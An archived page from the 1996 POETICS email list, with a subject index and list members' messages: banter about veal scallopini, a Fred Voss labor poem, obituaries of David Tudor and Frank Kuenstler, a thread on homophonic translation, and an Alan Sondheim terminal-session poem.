391. Beth Simon — Re: Dildo & The Real
392. Ian Wilson — Re: Giscombe/Fugitive
393. Christopher J. Beach — Re: redux is a drug
394. Jordan Davis — the martians we always have with us
395. maria damon — Re: Giscombe/Fugitive
396. Ian Wilson — Re: the martians we always have with us
397. Daniel Bouchard — Re: Giscombe/Fugitive
398. Eliza McGrand- CVA Guest — Re: Giscombe/Fugitive
399. Jordan Davis — BAP critics
400. Eliza McGrand- CVA Guest — Re: BAP critics
401. filch — Re: Giscombe/Fugitive BAP
402. Tony Green — Re: Confidential to everybody on the lis
403. George Bowering — Re: redux is a drug
404. Eliza McGrand- CVA Guest — Re: redux is a drug

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405. bitmap — Nexis Lexis
406. Kevin Killian — Re: student racism (white trash)
407. Rachel Loden — Re: redux is a drug
408. Gwyn McVay — Re: redux is a drug
409. henry — Re: redux is a drug
410. henry — Re: redux is a drug

411. Sherry Brennan — space
412. maria damon — Re: redux is a drug
413. maria damon — Re: redux is a drug
414. Joe Amato — teaching traumas...
415. henry — Re: redux is a drug
416. Henry — po-biz
417. Joe Amato — teaching traumas cont'd...
418. maria damon — Re: poetry and play
419. Julie Marie Schmid — Re: poetry and play
420. Jeff Hansen — student racism
421. Gary Roberts — poetry and play
422. Jeff Hansen — None
423. Douglas Messerli — new magazine on line
424. Daniel Bouchard — Re: student racism
425. Pete Landers — status of my 'zine - Happy Genius
426. Michael Boughn — Re: redux is a drug
427. Carl Lynden Peters — Re: poetry and play
428. Pete Landers — Re: redux is a drug
429. Robert Drake — [[redacted]: Call for submissions]
430. Robert Drake — Re: redux is a drug
431. bitmap addressing — Re: student racism (white trash)
432. Christina Fairbank Chirot — 1st Amendment Freedom: Community Vigilantes: N.Y.C. Community C…
433. Herb Levy — Re: redux is a drug
434. Christina Fairbank Chirot — correction
435. Pritchett,Pat — Re: student racism (white trash)
436. Burt Kimmelman — Re: poetry and play
437. Jordan Davis — Re: poetry and play
438. Jordan Davis — deluxe drug introductions
439. Steve Shoemaker — reading retallack
440. George Bowering — Re: poetry and play
441. Louis Cabri — Re: redux is a drug
442. George Bowering — Re: student racism (white trash)
443. George Bowering — Re: redux is a drug
444. James Sherry — Readings and Readings at The Segue Performance Space - October
445. Eliza McGrand- CVA Guest — Re: poetry and play
446. Gabrielle Welford — forward from another list - it's your privacy ... (fwd)
447. Gabrielle Welford — Re: Nexis Lexis
448. Gabrielle Welford — Re: poetry and play
449. Gabrielle Welford — Re: redux is a drug
450. Gabrielle Welford — Re: poetry and play
451. Eliza McGrand- CVA Guest — Re: poetry and play

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452. Dean Taciuch — Re: teaching traumas...
453. Alan Sondheim — 207
454. Brian Carpenter — traumatic teaching
455. Michael Boughn — Re: redux is a drug
456. Hank Lazer — Re: reading retallack
457. Joe Amato — Re: teaching traumas...
458. Alan Sondheim — Jennifer by Jennifer
459. Dean Taciuch — Re: teaching traumas...
460. Dean Taciuch — Classroom (?) trauma
461. Judy Roitman — Re: teaching traumas...
462. Kevin Killian — SPT: Moriarity/Tu
463. Kevin Killian — SPT: Moriarity/Tu

464. Oren Izenberg — Re: poetry and play
465. Pete Landers — Re: poetry and play
466. Joe Amato — Re: teaching traumas...
467. Gabrielle Welford — Judy Grahn
468. Gabrielle Welford — e-mail for-ums
469. Tom Mandel — reading retallack
470. George Bowering — Re: redux is a drug
471. Julia Stein — Re: POETICS Digest - 19 Sep 1996 to 20 Sep 1996
472. Christina Fairbank Chirot — citings/sightings
473. Dean Taciuch — Re: Classroom (?) trauma

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474. Rachel Loden — more flavours
475. Alan Sondheim — uunames
476. cris cheek — desire / and the 39 steps
477. Herb Levy — teaching traumas
478. Jonathan Brannen — Re: POETICS Digest - 20 Sep 1996 to 21 Sep 1996
479. Christina Fairbank Chirot — New journal (fwd>
480. Tony Green — Re: Classroom (?) trauma
481. Timothy Liu — Re: reading retallack
482. Charles Bernstein — Helmut Heissenbuttel 1921-1996
483. Loss Glazier — Poetics back files

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484. Joshua N Schuster — Ben Friedlander reading @ Upenn
485. George Bowering — Re: more flavours
486. Pierre Joris — Re: Helmut Heissenbuttel 1921-1996
487. Joe Amato — Re: teaching traumas
488. Rachel Loden — Re: more flavours
489. Gary Roberts — poetry and play
490. henry gould — Re: poetry and play
491. Herb Levy — Subtext readings fall '96
492. VIDAVER — Dildo Whaling
493. Julia Stein — Re: teaching traumas
494. Rod Smith — Re: poetry and play
495. Jordan Davis — Re: poetry and play
496. Laura Moriarty — Re: poetry and play
497. DS — Re: Dildo Whaling
498. Tony Green — 5757
499. Tony Green — Re: Dildo Whaling
500. maria damon — Re: teaching traumas
501. Joe Amato — Re: teaching traumas
502. Christina Fairbank Chirot — Blasphemy and the Avant-Garde (fwd

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503. bitmap addressing — Re: Blasphemy and the Avant-Garde (fwd
504. George Bowering — Re: more flavours
505. George Bowering — Re: teaching traumas
506. DS — Re: more flavours
507. Peter Quartermain — My long silence
508. Bill Luoma — Reading
509. Rachel Loden — Re: more flavours
510. maria damon — Re: My long silence
511. Jordan Davis — Poetry City Oct 10 - Bouchard / Mills
512. Henry Gould — RI reading
513. Joseph Conte — Dictionary of Literary Biography
514. Jean Crown — Conference on Modernism and the Orient

515. Jeffrey W. Timmons — Re: reading retallack (fwd)
516. Jeffrey W. Timmons — Re: teaching traumas... (fwd)
517. Steve Shoemaker — Re: reading retallack (fwd)
518. Jeffrey W. Timmons — Re: reading retallack (fwd)
519. Robert Drake — Re: Helmut Heissenbuttel 1921-1996
520. Robert Drake — forwarded mssg: position available
521. Jordan Davis — Epistrophe, Anastrophe, Poetry City

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522. Anselm Hollo — Helmut Heissenbuttel
523. Mark Wallace — National Congress Sample Press Release (fwd)
524. George Bowering — Re: My long silence
525. dutch chocolate chip — Re: Helmut Heissenbuttel (Anselm Hollo)
526. Peter Landers — Re: Helmut Heissenbuttel (Anselm Hollo)
527. Tony Green — Re: Helmut Heissenbuttel (Anselm Hollo)
528. Charles Smith — Re: Helmut Heissenbuttel (Anselm Hollo)
529. Steve Shoemaker — Re: reading retallack (fwd)
530. Rod Smith — new Perloff, Wallace, Out of Everywhere etc @ Bridge Street
531. Pam Brown — Re: new Perloff, Wallace, Out of Everywhere etc @ Bridge Street

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532. Rod Smith — Re: new Perloff, Wallace, Out of Everywhere etc @ Bridge Street
533. Anselm Hollo — Helmut, Here We Go Again
534. Hugh Nicoll — Anselm Hollo's Attachment
535. Robert Drake — [[redacted]: Fwd: BOOK PARTY]
536. maria damon — Re: the bleeding edge
537. maria damon — Re: the bleeding edge
538. Eliza McGrand- CVA Guest — Re: the bleeding edge
539. dismissive with angels — the bleeding edge
540. dismissive with angels — the bleeding edge
541. dismissive with angels — the bleeding edge
542. dismissive with angels — the bleeding edge
543. dismissive with angels — the bleeding edge - the last drop
544. Christina Fairbank Chirot — on the edge of mutiny
545. Ian Wilson — Re[2]: the bleeding edge
546. Daniel Bouchard — Re: bleeding the edge
547. Jordan Davis — chodosh englay 1.inst
548. Jordan Davis — bndwdth
549. maria damon — Re: dismissive
550. dismissive with angels — Re: the bleeding edge
551. Christina Fairbank Chirot — "artifacts" (fwd)
552. Jeffrey W. Timmons — bleeding edge
553. Jeffrey W. Timmons — Re: "artifacts" (fwd)
554. Jeffrey W. Timmons — (no subject)
555. Eliza McGrand- CVA Guest — Re: the bleeding edge
556. Tony Green — Re: Helmut, Here We Go Again
557. Gabrielle Welford — Re: the bleeding edge
558. cris cheek — Re: My long silence
559. Jeffrey W. Timmons — HELP
560. Rick Bursky — rumours & question
561. Jeffrey W. Timmons — the bleeding edge
562. DS — Re: the bleeding edge
563. Jay Schwartz — Re: the bleeding edge
564. VPI R TremblayMcGaw — Robert Gluck's Upcoming Readings

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565. Gabrielle Welford — Immigration Alert: URGENT (fwd)

566. the brown bag process — the bleeding edge (dismissed by angels)
567. the brown bag process — Re: the bleeding edge
568. Joe Amato — query...
569. Robert Drake — Re: the bleeding edge
570. maria damon — Re: the bleeding edge
571. Michael Coffey — Re: the bleeding edge -Reply
572. Charles Bernstein — Barnard Translation Conference
573. Eliza McGrand- CVA Guest — Re: the bleeding edge
574. maria damon — Re: query...
575. David Kellogg — Re: the bleeding edge
576. David Kellogg — Re: query...
577. Eliza McGrand- CVA Guest — bleeding edge -- grovelling in embarrassment
578. Joe Amato — Re: query...
579. Christina Fairbank Chirot — and they became what they beheld. . .
580. the brown bag process — San Francisco Fine Arts Museum
581. Susan Schultz — jobs jobs jobs

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582. wait for light — Re: bleeding edge -- grovelling in embarrassment
583. Rachel Loden — Re: query...
584. Joe Amato — Re: query...
585. maria damon — Re: query...
586. Steve Shoemaker — technorationality
587. Simon Schuchat — filch no, firbank yes

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588. Tenney Nathanson — post-fordist yayas
589. Alan Sondheim — for Tosh Berman and David Bowie
590. maria damon — Re: post-fordist yayas
591. Joe Amato — Re: query...
592. wheeler — Quick Query
593. Tony Green — Re: the bleeding edge
594. Mark Roberts — (FWD) AWOL: HECATE magazine's special offer
595. Mark Roberts — (Fwd) AWOL: Launch of HOW TO CONCEIVE OF A GIRL
596. Kenneth Goldsmith — Marjorie Perloff Homepage Update

30 SEP 1996

597. George Bowering — Re: the bleeding edge
598. Pritchett,Pat — Re: Quick Query
599. Mary Hilton — Announcement: Political Diction
600. Jordan Davis — the way of all languages
601. Laura Moriarty — Re: Quick Query
602. Tony Green — Re: the bleeding edge
603. Tony Green — Re: the way of all languages
604. wheeler — Thanks
605. george hartley — Re: Quick Query
606. Jordan Davis — Re: the way of all languages
607. Eliza McGrand- CVA Guest — post-constructionism and lingerie
608. Bob Holman — Re: POETICS Digest - 28 Sep 1996 to 29 Sep 1996

1. Mark Wallace
veal scallopini
Sat 31 Aug 1996

I really must correct Gwyn on this point--I've never been seen in public dressed only in veal scallopini. I wear Ziti or nothing at all. Any pictures saying otherwise are hoaxes, and I'm prepared to sue.

mark

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

2. Tenney Nathanson
PAW & other parts of the sun & moon family of corporations?
Sun 1 Sep 1996

> *Date: Fri, 30 Aug 1996 14:19:01 -0700*
> *From: Douglas Messerli <[redacted]>*
> *Subject: Re: Hannah Weiner*
>
> *Sun & Moon is publishing PAW soon in its new magazine:*
> *Mr Knife, Miss Fork. Hannah's wonderful narrative will be*
> *one of the major works in that special issue devoted to*
> *the "theatrical" in lit.*
>
> *Douglas Messerli*

Douglas--

what's the current array of s&m magazines, and what's the logic of the one-press-multi-mag tack? There's PAW, and RIBOT, and?

all best (long time no see!)

Tenney

↑ Index

3. Gwyn McVay
Re: veal scallopini
Sun 1 Sep 1996

I'm sorry, Mark, ziti or no ziti, you're pasta point of no return.

Gwyn

↑ Index

4. Rachel Loden
Re: veal scallopini
Sun 1 Sep 1996

Mark Wallace wrote:
>
> I really must correct Gwyn on this point--I've never been seen in public
> dressed only in veal scallopini. I wear Ziti or nothing at all. Any
> pictures saying otherwise are hoaxes, and I'm prepared to sue.

The ever-litigious Mr. Wallace should think twice before indulging these proclivities. If he really wanted to maintain his double life, why did he allow himself to be lured out onto that hotel balcony? The harder they come, the harder they fall (as Stephanopoulos is so fond of saying).

Rachel Loden

↑ Index

5. Julia Stein
Re: Labor Day
Sun 1 Sep 1996

In honor of Labor Day, this poem by Fred Voss from his book Goodstone, a book of work poems about his job as a machinist in a Southern California aircraft factory.

Asleep

We machine the teeth of gears
and the cutting edge of drills.
We bore out cyclinders,
turn pistons and rods,
thread screws and nuts and bolts.
We machine the dies
that stamp out pipes and seals and valves.

We are the engine, the driveshaft,
and the pump;
the wing and the wheel--

and yet we believe that we are powerless
as we sit in bars

and watch the president on television.
Fred Voss

↑ Index

6. George Bowering
Re: veal scallopini
Sun 1 Sep 1996

> *I really must correct Gwyn on this point--I've never been seen in public dressed only in veal scallopini. I wear Ziti or nothing at all. Any pictures saying otherwise are hoaxes, and I'm prepared to sue.*
>
> *mark*

I noticed the panic with which you make this avowal, Mark. I remember on my only trip to Washington D.C., I distinctly saw you with two other people of undiscernible sex near the Lincoln Memorial, and two of you at least were wearing Thai cuisine, the third in veal scallopini.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"snowdrops grow
near the warm chimney"
--Nelson Ball

↑ Index

7. filch
Re: CSPAN-2 to Air "Freedom to Write" Program
Sun 1 Sep 1996

Thanks for mentioning this Gale. It was especially interesting. I was altogether enraptured by the phrase "The poet is the only one who never forgets."

cf

> *C-SPAN-2 will air an edited version of the Freedom to Write Conference, held at Brown this past spring. The air date is Saturday, 31 August at 8:00 p.m., via their "About Books" program.*

↑ Index

8. Alan Sondheim
Time / Script / Unix
Mon 2 Sep 1996

-

Hell: Cannot Create Time:

Script started on Sun Sep 1 23:21:07 1996
warning: could not update utmp entry
netcom% telnet panix3.panix.com
Trying...
Connected to panix3.panix.com.
Escape character is '^]'.
No directory /net/u/6/s/sondheim!
touch: cannot touch //.motd_time: no write permission
$ touch motd_time
touch: cannot create motd_time: Permission denied
$ touch time
touch: cannot create time: Permission denied
$ touch exit
touch: cannot create exit: Permission denied
script done on Sun Sep 1 23:21:50 1996

↑ Index

9. Pierre Joris
[Fwd: David Tudor Obituary]
Mon 2 Sep 1996

This is a multi-part message in MIME format.

Hi folks -- thot this may ineterest you -- Pierre

John Whiting wrote:
>
> The [London] Guardian August 28 1996
>
> OBITUARY
>
> David Tudor
>
> Black Mountain sounds
>
> DAVID Tudor, who has died aged 70, abandoned a career as a
> virtuoso performer of contemporary piano music to devote himself

> to the composition and performance of electronic music.
>
> Tudor was born in Philadelphia, Pennsylvania, where he began his
> career as an organist. After studying composition and piano, he
> began to concentrate on the piano and soon became known as an
> interpreter of some of the most demanding works in the
> contemporary repertory.
>
> In New York in 1950, he gave the American premiere - and the
> second performance anywhere - of Pierre Boulez's Second Piano
> Sonata. He also gave the first performances of works by
> Karlheinz Stockhausen, who dedicated a piece to him, and many
> others. But his closest association was with John Cage, who said
> that all his works until 1970 were written either directly for
> Tudor or with him in mind. He gave the first performances of
> Cage's Music of Changes (1952) and the Concert for Piano and
> Orchestra, the latter at a retrospective concert of Cage's music
> at New York Town Hall in 1958, when the work was "conducted" by
> Merce Cunningham.
>
> When the Merce Cunningham Dance Company was formed at Black
> Mountain College in North Carolina, in the summer of 1953, with
> John Cage as musical director, Tudor joined him as company
> musician. He continued to perform and tour with the company
> until the end of 1994, when ill-health caused him to retire.
> After the death of Cage in August 1992, Tudor had succeeded him
> as the company's musical director, and he continued as musical
> advisor.
>
> In the early days, Tudor loved to play 19th century salon music,
> and he made a selection of such pieces for Cunningham's Dime a
> Dance in 1953. Another Cunningham dance of that year was Banjo,
> to music by Louis Moreau Gottschalk. Cunningham's dancers could
> not understand why the choreographer had chosen the piece when
> they heard it played by another pianist, so Cunningham asked
> Tudor to play it for one rehearsal. "It sounded like 50 banjos
> all played at once," Cunningham has said, and when they heard,
> the dancers understood. Tudor also played music of this kind for
> dances by the eccentric and beautiful Katherine Litz.
>
> At Black Mountain in 1952, where Tudor was an instructor, he took
> part in Cage's famous untitled, unstructured theatre piece,

> together with Cunningham, the poets Mary Caroline Richards and
> Charles Olson, and the painter Robert Rauschenberg. A number of
> friends from Black Mountain later formed the Gate Hill Co-op in
> Stony Point, New York, known as "The Land," where Cage, Tudor,
> Richards, and other artists lived for many years.
>
> In the early 1960s, Cage and Tudor initiated the trend towards
> "live" (as opposed to taped) electronic music in the Cunningham
> company's musical repertory, and Tudor ended his active career as
> a pianist. In 1968 he composed his first score, for Cunningham's
> Rain Forest. This was followed by Sounddance (1975), Exchange
> (1978), Channels/Inserts (1981), Quartet (1982), Phrases (1984),
> Shards (1987), Five Stone Wind (with Cage and Takehisa Kosugi)
> (1988), Polarity (1990), and Enter (1992). In the autumn of
> 1992, he returned to the acoustic piano in concert performances
> of Cage's Winter Music with Atlas Eclipticalis and, in 1993, Solo
> for Piano. In 1994, Cunningham was able to realise his final
> collaborations with Cage, Ocean, to which Tudor contributed the
> electric component, Soundings: Ocean Diary. The orchestral
> element, played by 112 musicians, is by Andrew Culver, following
> Cage's original concept. The work was performed earlier this
> summer, at the Lincoln Center Festival in New York.
>
> Many of the electronic devices used in Tudor's compositions were
> designed and made by himself. Tudor was one of four core artists
> who collaborated on the design of the Pepsi Pavilion for Expo
> '70, Osaka, Japan, a project of Experiments in Art and
> Technology. With the visual artist Jacqueline Monnier, he
> developed a kite environment that was installed at the Whitney
> Museum in New York in 1986, in Dusseldorf in 1988, and at the
> Jack Tilton Gallery. in New York in 1990. Other collaborators
> included the filmmaker Molly Davies, the choreographer Viola
> Farber, and the painter Robert Rauschenberg.
>
> He was a great cook, particularly of the cuisine of India, where
> he had spent much time. "John Cage said David had a golden ear,"
> Merce Cunningham said recently, and added, "that he did, but he
> also had a marvellous sense of humour." In general, Tudor's
> contribution to the life and work of the Cunningham company was
> more than just musical; as much as Cunningham and Cage
> themselves, he personified its philosophy.
>

> One day at Black Mountain when Cunningham was rehearsing an
> extremely complex solo, one of the first he had choreographed
> with chance process, he sat down in despair. Tudor then
> remarked: "Well, this is clearly impossible - but we'll go right
> ahead and do it anyway."
>
> David Vaughan
>
> David Tudor, composer, born January 20, 1926; died August 13,
> 1996

id EAA25491; Wed, 28 Aug 1996 04:47:04 -0400
Date: 28 Aug 96 04:44:54 EDT
From: John Whiting <[redacted]>
To: Charles Amirkhanian <[redacted]>,
"Robert J. Bertholf" <[redacted]>,
Dale Carter <[redacted]>, RONALD GUY DAVIS <[redacted]>,
Richard Elen at Apogee E <[redacted]>,
Richard Ehlich <[redacted]>,
Dave Foister <[redacted]>,
Richard Friedman <[redacted]>,
Gehlhaar-Matossian <[redacted]>,
Maria Gilardin <[redacted]>,
Don Guttenplan <[redacted]>,
Michael Hrebeniak <[redacted]>,
Pierre Joris <[redacted]>,
David Josephson <[redacted]>,
Matthew Lasar <[redacted]>,
Hugh Macdonald <[redacted]>,
Dave Malham <[redacted]>, "Richard K. Moore" <[redacted]>,
jack nessel <[redacted]>,
Gallery October <[redacted]>,
"\"John Ohliger\"" <[redacted]>,
"Dr. William Paterson" <[redacted]>,
Charles Shere <[redacted]>,
William Sommerwerck <[redacted]>,
Maxwell Steer <[redacted]>,
Colin Still <[redacted]>,
Carl Stone <[redacted]>, John Sunier <[redacted]>,
Larry or Lynn Tunsta <[redacted]>,
"\"Harvey Wheeler\"" <[redacted]>,

John Whiting <[redacted]>
Subject: David Tudor Obituary

The [London] Guardian August 28 1996

OBITUARY

David Tudor

Black Mountain sounds

DAVID Tudor, who has died aged 70, abandoned a career as a virtuoso performer of contemporary piano music to devote himself to the composition and performance of electronic music.

Tudor was born in Philadelphia, Pennsylvania, where he began his career as an organist. After studying composition and piano, he began to concentrate on the piano and soon became known as an interpreter of some of the most demanding works in the contemporary repertory.

In New York in 1950, he gave the American premiere - and the second performance anywhere - of Pierre Boulez's Second Piano Sonata. He also gave the first performances of works by Karlheinz Stockhausen, who dedicated a piece to him, and many others. But his closest association was with John Cage, who said that all his works until 1970 were written either directly for Tudor or with him in mind. He gave the first performances of Cage's Music of Changes (1952) and the Concert for Piano and Orchestra, the latter at a retrospective concert of Cage's music at New York Town Hall in 1958, when the work was "conducted" by Merce Cunningham.

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In the early days, Tudor loved to play 19th century salon music, and he made a selection of such pieces for Cunningham's Dime a Dance in 1953. Another Cunningham dance of that year was Banjo, to music by Louis Moreau Gottschalk. Cunningham's dancers could not understand why the choreographer had chosen the piece when they heard it played by another pianist, so Cunningham asked Tudor to play it for one rehearsal. "It sounded like 50 banjos all played at once," Cunningham has said, and when they heard, the dancers understood. Tudor also played music of this kind for dances by the eccentric and beautiful Katherine Litz.

At Black Mountain in 1952, where Tudor was an instructor, he took part in Cage's famous untitled, unstructured theatre piece, together with Cunningham, the poets Mary Caroline Richards and Charles Olson, and the painter Robert Rauschenberg. A number of friends from Black Mountain later formed the Gate Hill Co-op in Stony Point, New York, known as "The Land," where Cage, Tudor, Richards, and other artists lived for many years.

In the early 1960s, Cage and Tudor initiated the trend towards "live" (as opposed to taped) electronic music in the Cunningham company's musical repertory, and Tudor ended his active career as a pianist. In 1968 he composed his first score, for Cunningham's Rain Forest. This was followed by Sounddance (1975), Exchange (1978), Channels/Inserts (1981), Quartet (1982), Phrases (1984), Shards (1987), Five Stone Wind (with Cage and Takehisa Kosugi) (1988), Polarity (1990), and Enter (1992). In the autumn of 1992, he returned to the acoustic piano in concert performances of Cage's Winter Music with Atlas Eclipticalis and, in 1993, Solo for Piano. In 1994, Cunningham was able to realise his final collaborations with Cage, Ocean, to which Tudor contributed the electric component, Soundings: Ocean Diary. The orchestral element, played by 112 musicians, is by Andrew Culver, following Cage's original concept. The work was performed earlier this summer, at the Lincoln Center Festival in New York.

Many of the electronic devices used in Tudor's compositions were designed and made by himself. Tudor was one of four core artists who collaborated on the design of the Pepsi Pavilion for Expo '70, Osaka, Japan, a project of Experiments in Art and Technology. With the visual artist Jacqueline Monnier, he developed a kite environment that was installed at the Whitney Museum in New York in 1986, in Dusseldorf in 1988, and at the Jack Tilton Gallery. in New York in 1990. Other collaborators included the filmmaker Molly Davies, the choreographer Viola Farber, and the painter Robert Rauschenberg.

He was a great cook, particularly of the cuisine of India, where he had spent much time. "John Cage said David had a golden ear," Merce Cunningham said recently, and added, "that he did, but he also had a marvellous sense of humour." In general, Tudor's contribution to the life and work of the Cunningham company was more than just musical; as much as Cunningham and Cage themselves, he personified its philosophy.

One day at Black Mountain when Cunningham was rehearsing an extremely complex solo, one of the first he had choreographed with chance process, he sat down in despair. Tudor then remarked: "Well, this is clearly impossible - but we'll go right ahead and do it anyway."

David Vaughan

David Tudor, composer, born January 20, 1926; died August 13, 1996

----------4BAC54735E77--

↑ Index

10. Robert Drake
homophonic translation/translitics...
Mon 2 Sep 1996

---

i'm looking for references to poems &/or poets using "homphonic translations"--th process ov "translating" texts from another language by substituting similar-sounding english words... as this:

> I am the milkshake without color
> And without hands, come the butcher,
> Come Moses the rocker!
> An I am wild as a pauper,
>
> For the abbreviation of my Sahara,
> The jailer has the eyes of Southern france.
> My desire has gone, fled the desperation
> Over the black's salty tears...
>
> --Andrew Klimek
> from _Flowers of Mel_

Dick Higgins credits Robert Kelly for the term, and mentioned Steve McCaffery as having done such? & Dave Melnick has some based on Homer (Men in Aida)... specific refs wd be much appreciated.

i have in hand 2 recent: _The Real Ideal_ by Joel Lipman, & _Prime Sway_ by John M. Bennett; i wanted to be able to put them better into context.

shoe crayon
luigi-bob drake

↑ Index

11. Herb Levy
Re: homophonic translation/translitics...
Mon 2 Sep 1996

> *i'm looking for references to poems &/or poets using "homphonic translations"--th process ov "translating" texts from another language by substituting similar-sounding english words... as this:*

Several that come quickly to mind are:

Louis (& Celia) Zukofsky's translation of the complete Catullus. The opening of Louis (only, I think) Zukofsky's "A"-14 is a homophoic translation of selections

from the Book of Job. Six Fillious by, collectively, bp Nichol, Steve McCaffery, Dick Higgins, Robert Filliou, George Brecht, and Dieter Roth is made up of various homophonic translations of Filliou's 14 Chansons et 1 Charade (published by Membrane Press). I think one of the translations in Nichol's Translating Translating Apollinaire is also homophonic as are several and in general there is a kind of homophonic tendency that comes and goes in Nichol's work including homophonic English trnalations of English original texts and words. I remember that several Harry Mathews and Charles Bernstein poems being identified as homophonic but I don't recall which ones.

I'm sure there are lots of others I'm forgetting & way more that I never knew about.

Bests

Herb

Herb Levy
[redacted]

↑ Index

12. Douglas Messerli

Re: PAW & other parts of the sun & moon family of corporations?

Mon 2 Sep 1996

Ribot is its own magazine, not published by Sun & Moon
Press all--just distributed by us. It's published by
Paul Vangelisti in Los Angeles.

The new "magazine" is actually a semi-annual anthology
of specific topics.

In fact S&M doesn't publish any magazines.

Douglas

At 09:54 PM 8/31/96 -0700, you wrote:
>>Date: Fri, 30 Aug 1996 14:19:01 -0700
>>From: Douglas Messerli <[redacted]>
>>Subject: Re: Hannah Weiner
>>
>>Sun & Moon is publishing PAW soon in its new magazine:
>>Mr Knife, Miss Fork. Hannah's wonderful narrative will be
>>one of the major works in that special issue devoted to
>>the "theatrical" in lit.
>>
>>Douglas Messerli

>
>Douglas--
>
>what's the current array of s&m magazines, and what's the logic of the
>one-press-multi-mag tack? There's PAW, and RIBOT, and?
>
>all best (long time no see!)
>
>Tenney
>

↑ Index

13. Douglas Messerli

Re: homophonic translation/translitics...

Mon 2 Sep 1996

You might also be interested in David Melnick's PCOET
and in my own poem, "A Vector of the Straddle," a completely
sound-rhymed poem from Donne.

Douglas Messerli

At 07:33 AM 9/2/96 -0700, you wrote:
>>i'm looking for references to poems &/or poets using "homphonic
>>translations"--th process ov "translating" texts from another
>>language by substituting similar-sounding english words... as
>>this:
>
>Several that come quickly to mind are:
>
>Louis (& Celia) Zukofsky's translation of the complete Catullus. The
>opening of Louis (only, I think) Zukofsky's "A"-14 is a homophoic
>translation of selections from the Book of Job. Six Fillious by,
>collectively, bp Nichol, Steve McCaffery, Dick Higgins, Robert Filliou,
>George Brecht, and Dieter Roth is made up of various homophonic
>translations of Filliou's 14 Chansons et 1 Charade (published by Membrane
>Press). I think one of the translations in Nichol's Translating Translating
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>kind of homophonic tendency that comes and goes in Nichol's work including
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>identified as homophonic but I don't recall which ones.
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>I'm sure there are lots of others I'm forgetting & way more that I never
>knew about.
>
>Bests
>
>Herb
>
>
>Herb Levy
>[redacted]
>

↑ Index

14. Christina Fairbank Chirot
trains late in a pollen air (fwd)
Mon 2 Sep 1996

---

re homophonic translation;

might be thought of also in terms of American humor writing, vaudeville and movies-- with varying degrees of literacy and a huge popuation of ESL speakers and writers--a lot of American humor has used the english language as the language to be translated-- an early example is Artemus Ward--there's a story about a boy constructor for example, a giant menacing snake who can swallow near anything-- and in the Marx Brothers, the "Why a Duck"-- small children practise homophonic translation on a regular basis-- witness what goes on during "wreck creation" time--one child's homophonic explanation for destruction of a kindergarten class room--

trains late in a pollen air

--dbchirot

↑ Index

15. Charles Bernstein
Frank Kuenstler 1928-1996
Mon 2 Sep 1996

Frank Kuenstler 1928-1996

Poet and film maker Frank Kuenstler died on August 11. A short obituary appeared in The New York Times, August 31. There will be a memorial service for Frank on Wednesday, September 4, at 670 West End Avenue (call [redacted] for more information).

In the next month I hope to have a full bibliography of Kuenstler's work on the EPC. His books are:

LENS (New York: Fim Cultures, 1964)
Selected Poems (New York: Eventorium Press, 1964)
Paradise News (New York: Eventorium Press, 1966)
Fugitives. Rounds (1966)
13½ Poems (New York: SZ/Press, 1984)
Continued (New York: Night Three Press. 1987)
Miscellany (New York: Night Three Press. 1987)
In Which (New York: Cairn Editions, 1994)

Here's what I wrote for 13½ Poems:

The publication of 13½ Poems marks the twentieth anniversary of Film Culture's edition of Frank Kuenster's first book Lens. Lens's brilliantly iconoclastic and cosmic compression of syntax and lexicon ranks Kuenstler with such pioneers of Zaum (Khlebnikov's word for pervasively neologistic poetry) as Gillespie, Melnick, and Inman. In 13 ½ Poems, we get another side of Kuenstler – less intractably opaque, more lightheartedly amusing. Each of the poems in the new collection suggests a different style: Kuenstler has provided a group show all on his own. More remarkably, in the long, final poem, "Text", Kuenstler achieves a maniacally nonstop synthesis of "blunt" cut-up and everyday "pandemonium" —"Foolish spirit foolish theory zeal almost macabre A craze … alert aggressive, military Maudlin, extreme."

LENS remains, for me, Kuenstler's great work. It is composed, basically, of two-word pairs joined by a period (though a period follows every word pair as well); though sometimes phrases stand in for single words. It is flush right, with hyphens noting split words. It runs 92 pages and is dated at the end: 1952-1964. Here is the opening of LENS (minus the italic "f."s and accents on metie'r and cre'me & not justified):

mm.Pris. metier.AAA. prime.Airies. numbers.Racquet. comma.Dei. rr.1919. peru.Ruse. glen.A. ggg.Ire. leapfrog.Mick. creme.Nail. game.Ble. flame- Bouyant. f.Rose. not.Ice. door.I. nigh.Eve. feather.Rail. mm.Error. mm.- Pris. Oscar.Later. f.Oil. I'm.Moon. bb.Abe count.Tokay. newman.Asiatics. mezzo.Potomac. sinned.- Drone. signed.Hormone. rr.Asp. clues.Ott. oft.Shoes. Deaf.Acid. ggg.Own. rape.- Cyclical. Faith.Per Se. soul.Elicit. F.Unction. tie- Grass. sign.Am carp.- Pathagorean gas.Tone mm.Acquire f.Rail salon.- Leica. Canine.Father tv.Jeeps it must be spring-A. picture of a flower just flashed upon the screen. rr.Lourdes. rr.Lao-tse. rr-Enter. Rr.Entire.

Frank lived in my neighborhood not only metaphorically but literally: I occasionally ran into him in the xerox store and on the streets. For a number of years he send out xeroxed pages of found art, with just an almost anonymous ARCHIVE

stamped where a return address would usually be. Bruce Andrews did a cut-up of LENS for L=A=N=G=U=A=G=E #13 (1981); he called it: "And For Anything I Could Call My Own Thinking".

***

finally a haiku from Paradise News:

Fish swim. They die. They rise to the
surface.
It is their way of falling.

↑ Index

16. George Bowering

Re: Swear word here!

Mon 2 Sep 1996

> *George Bowering added ("That was YOU?"):*
>
> *big oops--private message went to the list again--at least it wasn't the one about *my* intrigue with Rachel L. while Pierre took pictures--*
>
> *Gwyn, tres embarrassed*
>
> *That was YOU? As Pierre is a lousy photographer, but a great poet, it was hard to tell who the partly-clad person was. I thought it looked a little like David Bromige, but the tan wasnt deep enough.*
>
> *I certainly hope Pierre finished duplicating the pictures so we can clean up in New Hampshire. Btw that WAS Bromige in the corner, but he seemed more interested in his baseball card collection (despite all the brave talk about "desire"). P.S. Pierre, when do we get paid for the shoot?*
>
> *Rachel Loden*

I have been instructed by my old friend and present co-author Mr David Bromige to tell you that his lawyer will be in touch with you, just as soon as he has finished compiling his information for the suit he has prepared against a Mr Wallace, who apparently was a little careless with some women's clothing in Washington.

George Bowering.

"I sit inside the blond before you"

2499 West 37th Ave.,
Vancouver, B.C.,
